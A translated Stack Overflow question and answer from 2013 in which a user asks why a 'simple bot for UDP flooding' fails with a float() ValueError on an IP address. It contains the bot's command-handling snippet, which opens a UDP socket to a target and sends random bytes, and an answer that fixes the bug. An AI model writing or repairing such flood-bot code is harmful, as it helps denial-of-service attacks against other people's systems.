【问题标题】:Python ValueError: invalid literal for float(): 127.0.0.1 [closed]Python ValueError:float()的无效文字:127.0.0.1 [关闭]
【发布时间】:2013-05-13 05:07:02
【问题描述】:

我正在开发一个用于 UDP 泛洪的简单机器人,但它不起作用,我运行时得到的只是:

ValueError: invalid literal for float(): 127.0.0.1

以下是我认为导致问题的一个片段:

    line = line.split()
    print line
    if(line[0]=='!udp'):
            print "attacking ", line[1]
            udp=socket.socket ( socket.AF_INET, socket.SOCK_DGRAM )
            udp.connect((float(line[1]), int(line[2])))
            udp.send(os.urandom(10000))

我已经四处寻找错误,但我找不到任何东西。

【问题讨论】:

  • 127.0.0.1float 的无效值。
  • @D4zk1tty 很高兴能够回答您的问题。将有助于您的答案标记为正确的答案被认为是良好的礼仪(和良好的业力)。

标签: python python-2.7 python-3.x


【解决方案1】:

'127.0.0.1' 不是有效的浮点数。将float(line[1]) 更改为line[1],您将不会收到该错误。您可能想知道您应该将什么作为第一个参数发送给connect,因为您无法将该格式的 IP 作为浮点数发送。

【讨论】:

  • 非常感谢!!!!!!!!!!!!!!!这很完美!
猜你喜欢
  • 2013-01-15
  • 1970-01-01
  • 2018-02-19
  • 2018-06-08
  • 2017-10-13
  • 2021-10-28
  • 1970-01-01
  • 1970-01-01
  • 1970-01-01
相关资源
最近更新 更多